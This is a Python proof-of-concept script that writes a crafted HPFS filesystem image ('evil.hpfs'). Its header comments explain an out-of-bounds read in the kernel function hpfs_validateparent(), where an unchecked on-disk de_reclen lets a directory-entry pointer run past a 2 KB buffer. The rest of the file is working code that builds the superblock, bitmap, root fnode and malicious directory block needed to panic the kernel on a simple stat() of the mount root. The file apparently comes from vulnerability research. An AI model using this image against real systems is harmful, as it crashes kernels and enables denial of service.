#!/usr/bin/env python3
# mk_hpfs.py — Craft a minimal-but-valid HPFS image whose root directory
# block has a dep (hpfsdirent) chain that walks past the 2 KB bread buffer,
# specifically to trigger hpfs_validateparent() in sys/vfs/hpfs/hpfs_subr.c.
#
# DF-0865 bug: hpfs_validateparent() does
#   bread(dhp->h_devvp, dbtodoff(lsn), D_BSIZE=2048, &bp)   [hpfs_subr.c:556]
#   dp  = (struct dirblk *) bp->b_data;
#   dep = D_DIRENT(dp) = bp->b_data + sizeof(dirblk_t) (=20)   [:567]
#   while(!(dep->de_flag & DE_END)) {                          [:598]
#       if (hp->h_no == dep->de_fnode) goto readdone;
#       dep = (hpfsdirent_t *)((caddr_t)dep + dep->de_reclen); [:610]
#   }
#   if(dep->de_flag & DE_DOWN) { ... }                         [:613]
#
# de_reclen is a u_int16_t taken straight off disk (attacker-controlled),
# and there is NO check that dep stays within [bp->b_data, bp->b_data+D_BSIZE).
# So a crafted dir block with a large de_reclen makes dep jump past the
# 2 KB buffer -> panic (page fault on unmapped OOB page) when the post-loop
# / next-iteration code reads dep->de_flag.
#
# Trigger: a plain stat() on the root of the mount calls VOP_GETATTR ->
# hpfs_getattr (sys/vfs/hpfs/hpfs_vnops.c:467) -> hpfs_validateparent when
# H_PARVALID is not yet set. Root's fn_parent == h_no (self), so dhp=hp=root
# and the walk happens over root's own crafted directory block.
#
# Same image structure as DF-0830 (proven valid + mountable).
#
# Layout (sector = 512 B):
#   16      SuperBlock  (SU_MAGIC, rootfno=30, btotal=100, bitmap.lsn1=40)
#   17      SpareBlock  (SP_MAGIC, sp_cpinum=0 -> skip cpinit)
#   40      bmind[1]    (lsn of band-0 bitmap = 50)
#   50..53  band-0 bitmap (4 KB all-marked-used)
#   30      root fnode  (FN_MAGIC, fn_flag=1 -> VDIR, al_leaf -> dir block)
#   60..63  dir block   (D_MAGIC, single dep with de_reclen=0x0900, flag=0)
#
# Run: python3 mk_hpfs.py evil.hpfs
import struct, sys

SECTOR = 512
DISK_SECTORS = 200
img = bytearray(DISK_SECTORS * SECTOR)

SU_MAGIC = 0xFA53E9C5F995E849
SP_MAGIC = 0xFA5229C5F9911849
FN_MAGIC = 0xF7E40AAE
D_MAGIC  = 0x77E40AAE

ROOTFNO    = 30
BTOTAL     = 100
BMIND_LSN  = 40
BITMAP_LSN = 50
DIRBLK_LSN = 60

# ---- Sector 16: SuperBlock (struct sublock) ----
sub = bytearray(512)
struct.pack_into('<Q', sub, 0,  SU_MAGIC)
sub[8] = 3; sub[9] = 0
struct.pack_into('<H', sub, 10, 0)
struct.pack_into('<I', sub, 12, ROOTFNO)
struct.pack_into('<I', sub, 16, BTOTAL)
struct.pack_into('<I', sub, 20, 0)                       # badbtotal
struct.pack_into('<II', sub, 24, BMIND_LSN, BMIND_LSN)   # su_bitmap
struct.pack_into('<II', sub, 32, 0, 0)                   # su_badbl
struct.pack_into('<II', sub, 40, 0, 0)                   # chkdsk, dskopt
struct.pack_into('<I',  sub, 48, 0)
struct.pack_into('<I',  sub, 52, 0)
struct.pack_into('<I',  sub, 56, 0)
struct.pack_into('<I',  sub, 60, 0)
struct.pack_into('<I',  sub, 96, 0)                      # uidt
off = 16 * SECTOR; img[off:off+512] = sub

# ---- Sector 17: SpareBlock (struct spblock) ----
sp = bytearray(512)
struct.pack_into('<Q', sp, 0, SP_MAGIC)
struct.pack_into('<H', sp, 8,  0)
sp[10] = 0; sp[11] = 0
struct.pack_into('<I', sp, 12, 0)                        # sp_hf
struct.pack_into('<I', sp, 16, 0)                        # sp_hfinuse
struct.pack_into('<I', sp, 20, 0)                        # sp_hfavail
struct.pack_into('<I', sp, 24, 0)                        # sp_spdbavail
struct.pack_into('<I', sp, 28, 0)                        # sp_spdbmax
struct.pack_into('<I', sp, 32, 0)                        # sp_cpi
struct.pack_into('<I', sp, 36, 0)                        # sp_cpinum = 0
off = 17 * SECTOR; img[off:off+512] = sp

# ---- Sector 40: bmind[1] ----
struct.pack_into('<I', img, BMIND_LSN * SECTOR, BITMAP_LSN)

# ---- Sectors 50..53: band-0 bitmap (4 KB, all bits set) ----
bm = bytearray(2048)
for i in range(BTOTAL):
    bm[i // 8] |= (1 << (i % 8))
off = BITMAP_LSN * SECTOR; img[off:off+2048] = bm

# ---- Sectors 60..63: MALICIOUS dir block (D_BSIZE = 2048 bytes) ----
# dirblk_t { u32 d_magic; u32 d_freeoff; u32 d_chcnt; lsn_t d_parent;
#            lsn_t d_self; }  sizeof = 20
# Then hpfsdirent_t entries.  de_reclen at offset 0, de_flag at offset 2.
#
# Single dep with:
#   de_reclen = 0x0900 (2304) -> dep advances from bp->b_data+20 to
#                                bp->b_data+2324, 276 bytes PAST the
#                                2048-byte buffer (adjacent kernel heap).
#   de_flag   = 0x0000        -> no DE_END (loop continues).
#   de_fnode  = 0             -> never matches root h_no (30), so the loop
#                                does NOT break early; it advances dep.
DE_RECKEN = 0x0900
D_BSIZE = 2048
db = bytearray(D_BSIZE)
struct.pack_into('<I', db, 0,  D_MAGIC)
struct.pack_into('<I', db, 4,  0x30)                 # d_freeoff
struct.pack_into('<I', db, 8,  0)                    # d_chcnt
struct.pack_into('<I', db, 12, ROOTFNO)              # d_parent
struct.pack_into('<I', db, 16, DIRBLK_LSN)           # d_self
# dep at offset 20 (sizeof dirblk_t):
struct.pack_into('<H', db, 20, DE_RECKEN)            # de_reclen = 0x0900
struct.pack_into('<H', db, 22, 0x0000)               # de_flag = 0 (no DE_END)
# All other bytes of the dep and the rest of the block are already 0.
off = DIRBLK_LSN * SECTOR; img[off:off+2048] = db

# ---- Sector 30: root fnode ----
fn = bytearray(512)
struct.pack_into('<I', fn, 0,  FN_MAGIC)
fn[16] = 0                                           # namelen
struct.pack_into('<I', fn, 32, ROOTFNO)              # fn_parent = self
struct.pack_into('<H', fn, 56, 0)                    # fn_ealen = 0
fn[59] = 1                                           # fn_flag = VDIR
# alblk_t at fn_ab (offset 60):
struct.pack_into('<B', fn, 60, 0)                    # ab_flag = 0 (leaf)
struct.pack_into('<B', fn, 64, 0)                    # ab_freecnt
struct.pack_into('<B', fn, 65, 1)                    # ab_busycnt = 1
struct.pack_into('<H', fn, 66, 0x14)                 # ab_freeoff
# alleaf_t at fn_abd[0] (offset 68):
struct.pack_into('<I', fn, 68, 0)                    # al_off
struct.pack_into('<I', fn, 72, 1)                    # al_len
struct.pack_into('<I', fn, 76, DIRBLK_LSN)           # al_lsn -> crafted dir
off = ROOTFNO * SECTOR; img[off:off+512] = fn

with open(sys.argv[1], 'wb') as f:
    f.write(img)
print(f"wrote {sys.argv[1]}: {len(img)} bytes, rootfno={ROOTFNO}, "
      f"dirblk_lsn={DIRBLK_LSN}, dep0 de_reclen={DE_RECKEN:#06x} "
      f"(jumps {DE_RECKEN} B from off 20 -> {20+DE_RECKEN} = "
      f"{20+DE_RECKEN-2048} B past 2KB buffer)")
